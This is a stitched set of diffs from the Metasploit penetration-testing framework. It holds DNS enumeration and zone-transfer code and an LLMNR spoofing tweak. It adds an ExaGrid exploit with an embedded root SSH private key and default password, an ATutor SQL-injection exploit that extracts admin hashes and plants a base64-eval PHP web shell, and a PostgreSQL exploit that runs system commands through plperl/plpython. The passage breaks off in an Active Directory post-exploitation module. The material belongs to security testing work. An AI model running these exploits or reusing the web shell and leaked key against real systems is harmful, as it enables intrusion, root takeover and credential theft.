'bt', 'bo', 'ba', 'bw', 'bv', 'br', 'io', 'bn', 'bg', 'bf', 'bi',
'kh', 'cm', 'ca', 'cv', 'ky', 'cf', 'td', 'cl', 'cn', 'cx', 'cc',
'co', 'km', 'cd', 'cg', 'ck', 'cr', 'ci', 'hr', 'cu', 'cy', 'cz',
'dk', 'dj', 'dm', 'do', 'tp', 'ec', 'eg', 'sv', 'gq', 'er', 'ee',
'et', 'fk', 'fo', 'fj', 'fi', 'fr', 'gf', 'pf', 'tf', 'ga', 'gm',
'ge', 'de', 'gh', 'gi', 'gr', 'gl', 'gd', 'gp', 'gu', 'gt', 'gg',
'gn', 'gw', 'gy', 'ht', 'hm', 'va', 'hn', 'hk', 'hu', 'is', 'in',
'id', 'ir', 'iq', 'ie', 'im', 'il', 'it', 'jm', 'jp', 'je', 'jo',
'kz', 'ke', 'ki', 'kp', 'kr', 'kw', 'kg', 'la', 'lv', 'lb', 'ls',
'lr', 'ly', 'li', 'lt', 'lu', 'mo', 'mk', 'mg', 'mw', 'my', 'mv',
'ml', 'mt', 'mh', 'mq', 'mr', 'mu', 'yt', 'mx', 'fm', 'md', 'mc',
'mn', 'ms', 'ma', 'mz', 'mm', 'na', 'nr', 'np', 'nl', 'an', 'nc',
'nz', 'ni', 'ne', 'ng', 'nu', 'nf', 'mp', 'no', 'om', 'pk', 'pw',
'pa', 'pg', 'py', 'pe', 'ph', 'pn', 'pl', 'pt', 'pr', 'qa', 're',
'ro', 'ru', 'rw', 'kn', 'lc', 'vc', 'ws', 'sm', 'st', 'sa', 'sn',
'sc', 'sl', 'sg', 'sk', 'si', 'sb', 'so', 'za', 'gz', 'es', 'lk',
'sh', 'pm', 'sd', 'sr', 'sj', 'sz', 'se', 'ch', 'sy', 'tw', 'tj',
'tz', 'th', 'tg', 'tk', 'to', 'tt', 'tn', 'tr', 'tm', 'tc', 'tv',
'ug', 'ua', 'ae', 'gb', 'us', 'um', 'uy', 'uz', 'vu', 've', 'vn',
'vg', 'vi', 'wf', 'eh', 'ye', 'yu', 'za', 'zr', 'zm', 'zw', 'int',
'gs', 'info', 'biz', 'su', 'name', 'coop', 'aero']
records = []
tlds.each do |tld|
tldr = get_a("#{domain_}.#{tld}", 'DNS TLD records')
next if tldr.blank?
records |= tldr
print_good("#{domain_}.#{tld}: TLD: #{tldr.join(',')}")
end
rescue ArgumentError => e
print_error("Query #{domain} DNS TLD - exception: #{e}")
ensure
return if records.blank?
records
end
end
def get_srv(domain)
print_status("querying DNS SRV records for #{domain}")
srv_protos = %w(tcp udp tls)
srv_record_types = %w(
gc kerberos ldap test sips sip aix finger ftp http
nntp telnet whois h323cs h323be h323ls sipinternal sipinternaltls
sipfederationtls jabber jabber-client jabber-server xmpp-server xmpp-client
imap certificates crls pgpkeys pgprevokations cmp svcp crl oscp pkixrep
smtp hkp hkps)
srv_records_data = []
srv_record_types.each do |srv_record_type|
srv_protos.each do |srv_proto|
srv_record = "_#{srv_record_type}._#{srv_proto}.#{domain}"
resp = dns_query(srv_record, Net::DNS::SRV)
next if resp.blank? || resp.answer.blank?
srv_record_data = []
resp.answer.each do |r|
next if r.type == Net::DNS::RR::CNAME
host = r.host.gsub(/\.$/, '')
data = {
host: host,
port: r.port,
priority: r.priority
}
print_good("#{srv_record} SRV: #{data}")
srv_record_data << data
end
srv_records_data << {
srv_record => srv_record_data
}
report_note(
type: srv_record,
data: srv_record_data
)
end
end
return if srv_records_data.empty?
end
def axfr(domain)
nameservers = get_ns(domain)
return if nameservers.blank?
records = []
nameservers.each do |nameserver|
next if nameserver.blank?
print_status("Attempting DNS AXFR for #{domain} from #{nameserver}")
dns = Net::DNS::Resolver.new
dns.use_tcp = datastore['TCP_DNS']
dns.udp_timeout = datastore['TIMEOUT']
dns.retry_number = datastore['RETRY']
dns.retry_interval = datastore['RETRY_INTERVAL']
ns_a_records = []
# try to get A record for nameserver from target NS, which may fail
target_ns_a = get_a(nameserver, 'DNS AXFR records')
ns_a_records |= target_ns_a if target_ns_a
ns_a_records << ::Rex::Socket.resolv_to_dotted(nameserver)
begin
dns.nameservers -= dns.nameservers
dns.nameservers = ns_a_records
zone = dns.axfr(domain)
rescue ResolverArgumentError, Errno::ECONNREFUSED, Errno::ETIMEDOUT, ::NoResponseError, ::Timeout::Error => e
print_error("Query #{domain} DNS AXFR - exception: #{e}")
end
next if zone.blank?
records << zone
print_good("#{domain} Zone Transfer: #{zone}")
end
return if records.blank?
save_note(domain, 'DNS AXFR recods', records)
records
end
def save_note(target, type, records)
data = { 'target' => target, 'records' => records }
report_note(host: target, sname: 'dns', type: type, data: data, update: :unique_data)
end
end

View File

@ -158,7 +158,7 @@ class MetasploitModule < Msf::Auxiliary
'Cookie' => 'PBack=0'
}
if (datastore['SSL'].to_s.match(/^(t|y|1)/i))
if datastore['SSL']
if action.name == "OWA_2013"
data = 'destination=https://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
else

View File

@ -70,11 +70,11 @@ class MetasploitModule < Msf::Auxiliary
@log_console = false
@log_database = false
if (datastore['LogConsole'].to_s.match(/^(t|y|1)/i))
if datastore['LogConsole']
@log_console = true
end
if (datastore['LogDatabase'].to_s.match(/^(t|y|1)/i))
if datastore['LogDatabase']
@log_database = true
end

View File

@ -44,7 +44,7 @@ attr_accessor :sock, :thread
register_options([
OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", ""]),
OptRegexp.new('REGEX', [ true, "Regex applied to the LLMNR Name to determine if spoofed reply is sent", '.*']),
OptInt.new('TTL', [ false, "Time To Live for the spoofed response", 300]),
OptInt.new('TTL', [ false, "Time To Live for the spoofed response", 30]),
])
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
@ -85,7 +85,7 @@ attr_accessor :sock, :thread
when ::Net::DNS::A
dns_pkt.answer << ::Net::DNS::RR::A.new(
:name => name,
:ttl => 30,
:ttl => datastore['TTL'],
:cls => ::Net::DNS::IN,
:type => ::Net::DNS::A,
:address => spoof.to_s
@ -93,7 +93,7 @@ attr_accessor :sock, :thread
when ::Net::DNS::AAAA
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
:name => name,
:ttl => 30,
:ttl => datastore['TTL'],
:cls => ::Net::DNS::IN,
:type => ::Net::DNS::AAAA,
:address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s

View File

@ -0,0 +1,183 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'net/ssh'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info, {
'Name' => 'ExaGrid Known SSH Key and Default Password',
'Description' => %q{
ExaGrid ships a public/private key pair on their backup appliances to
allow passwordless authentication to other ExaGrid appliances. Since
the private key is easily retrievable, an attacker can use it to gain
unauthorized remote access as root. Additionally, this module will
attempt to use the default password for root, 'inflection'.
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [ [ "Universal", {} ] ],
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'Author' => ['egypt'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-1560' ], # password
[ 'CVE', '2016-1561' ], # private key
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/04/07/r7-2016-04-exagrid-backdoor-ssh-keys-and-hardcoded-credentials' ]
],
'DisclosureDate' => "Apr 07 2016",
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DefaultTarget' => 0
}))
register_options(
[
# Since we don't include Tcp, we have to register this manually
Opt::RHOST(),
Opt::RPORT(22)
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
# helper methods that normally come from Tcp
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def do_login(user)
ssh_options = {
auth_methods: ['publickey', 'password'],
config: false,
disable_agent: true,
key_data: [ key_data ],
msfmodule: self,
msframework: framework,
password: 'inflection',
port: rport,
proxies: datastore['Proxies'],
record_auth_info: true,
}
ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']
begin
ssh_socket = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh_socket = Net::SSH.start(rhost, user, ssh_options)
end
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end
if ssh_socket
# Create a new session from the socket, then dump it.
conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash -i', true)
ssh_socket = nil
return conn
else
return false
end
end
# Ghetto hack to prevent the shell detection logic from hitting false
# negatives due to weirdness with ssh sockets. We already know it's a shell
# because auth succeeded by this point, so no need to do the check anyway.
module TrustMeItsAShell
def _check_shell(*args)
true
end
end
def exploit
payload_instance.extend(TrustMeItsAShell)
conn = do_login("root")
if conn
print_good "Successful login"
service_data = {
address: rhost,
port: rport,
protocol: 'tcp',
service_name: 'ssh',
workspace_id: myworkspace_id,
}
credential_data = {
username: 'root',
private_type: (conn.ssh.auth_info[:method] == "publickey" ? :ssh_key : :password),
private_data: (conn.ssh.auth_info[:method] == "publickey" ? key_data : 'inflection'),
origin_type: :service,
module_fullname: fullname,
}.merge(service_data)
core = create_credential(credential_data)
login_data = {
core: core,
last_attempted: Time.now,
}.merge(service_data)
create_credential_login(login_data)
handler(conn.lsock)
end
end
def key_data
<<EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10
hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa
E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA
GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ
BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg
AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y
iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs
Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj
QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz
ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG
XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk
86DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y
x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg==
-----END RSA PRIVATE KEY-----
EOF
end
end

View File

@ -16,11 +16,8 @@ class MetasploitModule < Msf::Exploit::Remote
'Name' => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',
'Description' => %q{
This module exploits a SQL Injection vulnerability and an authentication weakness
vulnerability in ATutor. This essentially means an attacker can bypass authenication
and reach the administrators interface where they can upload malcious code.
You are required to login to the target to reach the SQL Injection, however this
can be done as a student account and remote registration is enabled by default.
vulnerability in ATutor. This essentially means an attacker can bypass authentication
and reach the administrator's interface where they can upload malicious code.
},
'License' => MSF_LICENSE,
'Author' =>
@ -30,7 +27,8 @@ class MetasploitModule < Msf::Exploit::Remote
'References' =>
[
[ 'CVE', '2016-2555' ],
[ 'URL', 'http://www.atutor.ca/' ] # Official Website
[ 'URL', 'http://www.atutor.ca/' ], # Official Website
[ 'URL', 'http://sourceincite.com/research/src-2016-08/' ] # Advisory
],
'Privileged' => false,
'Payload' =>
@ -45,9 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote
register_options(
[
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
OptString.new('USERNAME', [true, 'The username to authenticate as']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/'])
],self.class)
end
@ -65,14 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote
def check
# the only way to test if the target is vuln
begin
test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
return Exploit::CheckCode::Unknown
end
if test_injection(test_cookie)
if test_injection
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
@ -86,8 +75,8 @@ class MetasploitModule < Msf::Exploit::Remote
@plugin_name = Rex::Text.rand_text_alpha_lower(3)
path = "#{@plugin_name}/#{@payload_name}.php"
register_file_for_cleanup("#{@payload_name}.php", "../../content/module/#{path}")
# this content path is where the ATutor authors recommended installing it
register_file_for_cleanup("#{@payload_name}.php", "/var/content/module/#{path}")
zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
zip_file.pack
end
@ -97,7 +86,7 @@ class MetasploitModule < Msf::Exploit::Remote
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
})
}, 0.1)
end
def upload_shell(cookie)
@ -110,125 +99,76 @@ class MetasploitModule < Msf::Exploit::Remote
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => cookie,
'agent' => 'Mozilla'
'cookie' => cookie
})
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),
'cookie' => cookie,
'agent' => 'Mozilla',
'cookie' => cookie
})
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),
'cookie' => cookie,
'agent' => 'Mozilla',
'cookie' => cookie
})
return true
end
end
# auth failed if we land here, bail
# unknown failure...
fail_with(Failure::Unknown, "Unable to upload php code")
return false
end
def get_hashed_password(token, password, bypass)
if bypass
return Rex::Text.sha1(password + token)
else
return Rex::Text.sha1(Rex::Text.sha1(password) + token)
end
end
def login(username, password, bypass)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "login.php"),
'agent' => 'Mozilla',
})
token = $1 if res.body =~ /\) \+ \"(.*)\"\);/
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/
if bypass
password = get_hashed_password(token, password, true)
else
password = get_hashed_password(token, password, false)
end
def login(username, hash)
password = Rex::Text.sha1(hash)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "login.php"),
'vars_post' => {
'form_password_hidden' => password,
'form_login' => username,
'submit' => 'Login'
'submit' => 'Login',
'token' => ''
},
'cookie' => cookie,
'agent' => 'Mozilla'
})
cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/
# this is what happens when no state is maintained by the http client
if res && res.code == 302
if res.redirection.to_s.include?('bounce.php?course=0')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, res.redirection),
'cookie' => cookie,
'agent' => 'Mozilla'
})
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, res.redirection),
'cookie' => cookie,
'agent' => 'Mozilla'
})
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
return cookie
end
else res.redirection.to_s.include?('admin/index.php')
# if we made it here, we are admin
return cookie
end
# poor developer practices
cookie = "ATutorID=#{$4};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
if res && res.code == 302 && res.redirection.to_s.include?('admin/index.php')
# if we made it here, we are admin
report_cred(user: username, password: hash)
return cookie
end
# auth failed if we land here, bail
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
return nil
end
def perform_request(sqli, cookie)
def perform_request(sqli)
# the search requires a minimum of 3 chars
sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='"
rand_key = Rex::Text.rand_text_alpha(1)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "connections.php"),
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "index_public.php"),
'vars_post' => {
"search_friends_#{rand_key}" => sqli,
'rand_key' => rand_key,
'search' => 'Search People'
'search' => 'Search'
},
'cookie' => cookie,
'agent' => 'Mozilla'
})
return res.body
end
def dump_the_hash(cookie)
def dump_the_hash
extracted_hash = ""
sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"
login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i
login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli).to_i
for i in 1..login_and_hash_length
sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))"
asciival = generate_sql_and_test(false, false, sqli, cookie)
asciival = generate_sql_and_test(false, false, sqli)
if asciival >= 0
extracted_hash << asciival.chr
end
@ -236,13 +176,14 @@ class MetasploitModule < Msf::Exploit::Remote
return extracted_hash.split(":")
end
def get_ascii_value(sql, cookie)
# greetz to rsauron & the darkc0de crew!
def get_ascii_value(sql)
lower = 0
upper = 126
while lower < upper
mid = (lower + upper) / 2
sqli = "#{sql}>#{mid}"
result = perform_request(sqli, cookie)
result = perform_request(sqli)
if result =~ /There are \d+ entries\./
lower = mid + 1
else
@ -253,7 +194,7 @@ class MetasploitModule < Msf::Exploit::Remote
value = lower
else
sqli = "#{sql}=#{lower}"
result = perform_request(sqli, cookie)
result = perform_request(sqli)
if result =~ /There are \d+ entries\./
value = lower
end
@ -261,27 +202,27 @@ class MetasploitModule < Msf::Exploit::Remote
return value
end
def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)
def generate_sql_and_test(do_true=false, do_test=false, sql=nil)
if do_test
if do_true
result = perform_request("1=1", cookie)
result = perform_request("1=1")
if result =~ /There are \d+ entries\./
return true
end
else not do_true
result = perform_request("1=2", cookie)
result = perform_request("1=2")
if not result =~ /There are \d+ entries\./
return true
end
end
elsif not do_test and sql
return get_ascii_value(sql, cookie)
return get_ascii_value(sql)
end
end
def test_injection(cookie)
if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)
if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)
def test_injection
if generate_sql_and_test(do_true=true, do_test=true, sql=nil)
if generate_sql_and_test(do_true=false, do_test=true, sql=nil)
return true
end
end
@ -303,6 +244,8 @@ class MetasploitModule < Msf::Exploit::Remote
private_data: opts[:password],
origin_type: :service,
private_type: :password,
private_type: :nonreplayable_hash,
jtr_format: 'sha512',
username: opts[:user]
}.merge(service_data)
@ -316,24 +259,14 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")
report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])
print_status("Dumping username and password hash...")
# we got admin hash now
credz = dump_the_hash(student_cookie)
print_good("Got the #{credz[0]} hash: #{credz[1]} !")
print_status("Dumping the username and password hash...")
credz = dump_the_hash
if credz
admin_cookie = login(credz[0], credz[1], true)
print_status("Logged in as #{credz[0]}, uploading shell...")
# install a plugin
print_good("Got the #{credz[0]}'s hash: #{credz[1]} !")
admin_cookie = login(credz[0], credz[1])
if upload_shell(admin_cookie)
print_good("Shell upload successful!")
# boom
exec_code
end
end
end
end

View File

@ -0,0 +1,208 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/postgres'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Postgres
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'PostgreSQL CREATE LANGUAGE Execution',
'Description' => %q(
Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages.
Most commonly this is Perl and Python. When enabled, command execution is possible on the host.
To execute system commands, loading the "untrusted" version of the language is necessary.
This requires a superuser. This is usually postgres. The execution should be platform-agnostic,
and has been tested on OS X, Windows, and Linux.
This module attempts to load Perl or Python to execute system commands. As this dynamically loads
a scripting language to execute commands, it is not necessary to drop a file on the filesystem.
Only Postgres 8 and up are supported.
),
'Author' => [
'Micheal Cottingham', # author of this module
'midnitesnake', # the postgres_payload module that this is based on,
'Nixawk' # Improves the module
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'],
['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'],
['URL', 'http://www.postgresql.org/docs/current/static/plpython.html']
],
'Platform' => %w(linux unix win osx),
'Payload' => {
'PayloadType' => %w(cmd)
},
'Arch' => [ARCH_CMD],
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 1 2016'))
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
end
def postgres_major_version(version)
version_match = version.match(/(?<software>\w{10})\s(?<major_version>\d{1,2})\.(?<minor_version>\d{1,2})\.(?<revision>\d{1,2})/)
version_match['major_version']
end
def check
if vuln_version?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def vuln_version?
version = postgres_fingerprint
if version[:auth]
major_version = postgres_major_version(version[:auth])
return true if major_version && major_version.to_i >= 8
end
false
end
def login_success?
status = do_login(username, password, database)
case status
when :noauth
print_error "#{peer} - Authentication failed"
return false
when :noconn
print_error "#{peer} - Connection failed"
return false
else
print_status "#{peer} - #{status}"
return true
end
end
def load_extension?(language)
case load_procedural_language(language, 'LANGUAGE')
when :exists
print_good "#{peer} - #{language} is already loaded, continuing"
return true
when :loaded
print_good "#{peer} - #{language} was successfully loaded, continuing"
return true
when :not_exists
print_status "#{peer} - #{language} could not be loaded"
return false
else
print_error "#{peer} - error occurred loading #{language}"
return false
end
end
def exec_function?(func_name)
query = "SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')"
select_query = postgres_query(query)
case select_query.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
return false
when :sql_error
print_error "#{peer} - Exploit failed"
return false
when :complete
print_good "#{peer} - Exploit successful"
return true
else
print_error "#{peer} - Unknown"
return false
end
end
def create_function?(language, func_name)
load_func = ''
case language
when 'perl'
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(text) RETURNS void as $$"
query << "`$_[0]`;"
query << "$$ LANGUAGE pl#{language}u"
load_func = postgres_query(query)
when /^python(?:2|3)?/i
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r"
query << "import subprocess, shlex\rsubprocess.check_output(shlex.split(c))\r"
query << "$$ LANGUAGE pl#{language}u"
load_func = postgres_query(query)
end
case load_func.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
return false
when :sql_error
print_error "#{peer} Exploit failed"
return false
when :complete
print_good "#{peer} - Loaded UDF (exec_#{func_name})"
return true
else
print_error "#{peer} - Unknown"
return false
end
end
def load_procedural_language(language, extension)
query = "CREATE #{extension} pl#{language}u"
load_language = postgres_query(query)
return :loaded unless load_language.keys[0] == :sql_error
match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m)
return :exists if match_exists
match_error = load_language[:sql_error].match(/(?:could not (?:open extension control|access) file|unsupported language)/m)
return :not_exists if match_error
end
def do_login(user, pass, database)
begin
password = pass || postgres_password
result = postgres_fingerprint(
db: database,
username: user,
password: password
)
return result[:auth] if result[:auth]
print_status "#{peer} - Login failed"
return :noauth
rescue Rex::ConnectionError
return :noconn
end
end
def exploit
return unless vuln_version?
return unless login_success?
languages = %w(perl python python2 python3)
languages.each do |language|
next unless load_extension?(language)
func_name = Rex::Text.rand_text_alpha(10)
next unless create_function?(language, func_name)
if exec_function?(func_name)
print_warning "Please clear extension [#{language}]: function [#{func_name}] manually"
break
end
end
postgres_logout if @postgres_conn
end
end

View File

@ -53,7 +53,7 @@ class MetasploitModule < Msf::Nop
0xe1a0b00b
]
if( random and random.match(/^(t|y|1)/i) )
if random
return ([nops[rand(nops.length)]].pack("V*") * (length/4))
end

View File

@ -106,7 +106,7 @@ SINGLE_BYTE_SLED =
# Did someone specify random NOPs in the environment?
if (!random and datastore['RandomNops'])
random = (datastore['RandomNops'].match(/true|1|y/i) != nil)
random = datastore['RandomNops']
end
# Generate the whole sled...

View File

@ -0,0 +1,561 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex'
require 'msf/core'
require 'sqlite3'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::LDAP
def initialize(info = {})
super(update_info(
info,
'Name' => 'AD Computer, Group and Recursive User Membership to Local SQLite DB',
'Description' => %{
This module will gather a list of AD groups, identify the users (taking into account recursion)
and write this to a SQLite database for offline analysis and query using normal SQL syntax.
},
'License' => MSF_LICENSE,
'Author' => [
'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options([
OptString.new('GROUP_FILTER', [false, 'Additional LDAP filters to use when searching for initial groups', '']),
OptBool.new('SHOW_USERGROUPS', [true, 'Show the user/group membership in a greppable form to the console.', false]),
OptBool.new('SHOW_COMPUTERS', [true, 'Show basic computer information in a greppable form to the console.', false]),
OptInt.new('THREADS', [true, 'Number of threads to spawn to gather membership of each group.', 20])
], self.class)
end
# Entry point
def run
max_search = datastore['MAX_SEARCH']
db, dbfile = create_sqlite_db
print_status "Database created: #{dbfile}"
# Download the list of groups from Active Directory
vprint_status "Retrieving AD Groups"
begin
group_fields = ['distinguishedName', 'objectSid', 'samAccountType', 'sAMAccountName', 'whenChanged', 'whenCreated', 'description', 'groupType', 'adminCount', 'comment', 'managedBy', 'cn']
if datastore['GROUP_FILTER'].nil? || datastore['GROUP_FILTER'].empty?
group_query = "(objectClass=group)"
else
group_query = "(&(objectClass=group)(#{datastore['GROUP_FILTER']}))"
end
groups = query(group_query, max_search, group_fields)
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
print_error("Error(Group): #{e.message}")
return
end
# If no groups were downloaded, there's no point carrying on
if groups.nil? || groups[:results].empty?
print_error('No AD groups were discovered')
return
end
# Go through each of the groups and identify the individual users in each group
vprint_status "Groups retrieval completed: #{groups[:results].size} group(s)"
vprint_status "Retrieving AD Group Membership"
users_fields = ['distinguishedName', 'objectSid', 'sAMAccountType', 'sAMAccountName', 'displayName', 'description', 'logonCount', 'userAccountControl', 'userPrincipalName', 'whenChanged', 'whenCreated', 'primaryGroupID', 'badPwdCount', 'comment', 'title', 'cn', 'adminCount', 'manager']
remaining_groups = groups[:results]
# If the number of threads exceeds the number of groups, reduce them down to the correct number
threadcount = remaining_groups.count < datastore['THREADS'] ? remaining_groups.count : datastore['THREADS']
# Loop through each of the groups, creating threads where necessary
while !remaining_groups.nil? && !remaining_groups.empty?
group_gather = []
1.upto(threadcount) do
group_gather << framework.threads.spawn("Module(#{refname})", false, remaining_groups.shift) do |individual_group|
begin
next if !individual_group || individual_group.empty? || individual_group.nil?
# Get the Group RID
group_rid = get_rid(individual_group[1][:value]).to_i
# Perform the ADSI query to retrieve the effective users in each group (recursion)
vprint_status "Retrieving members of #{individual_group[3][:value]}"
users_filter = "(&(objectCategory=person)(objectClass=user)(|(memberOf:1.2.840.113556.1.4.1941:=#{individual_group[0][:value]})(primaryGroupID=#{group_rid})))"
users_in_group = query(users_filter, max_search, users_fields)
grouptype_int = individual_group[7][:value].to_i # Set this here because it is used a lot below
sat_int = individual_group[2][:value].to_i
# Add the group to the database
# groupType parameter interpretation: https://msdn.microsoft.com/en-us/library/windows/desktop/ms675935(v=vs.85).aspx
# Note that the conversions to UTF-8 are necessary because of the way SQLite detects column type affinity
# Turns out that the 'fix' is documented in https://github.com/rails/rails/issues/1965
sql_param_group = { g_rid: group_rid,
g_distinguishedName: individual_group[0][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
g_sAMAccountType: sat_int,
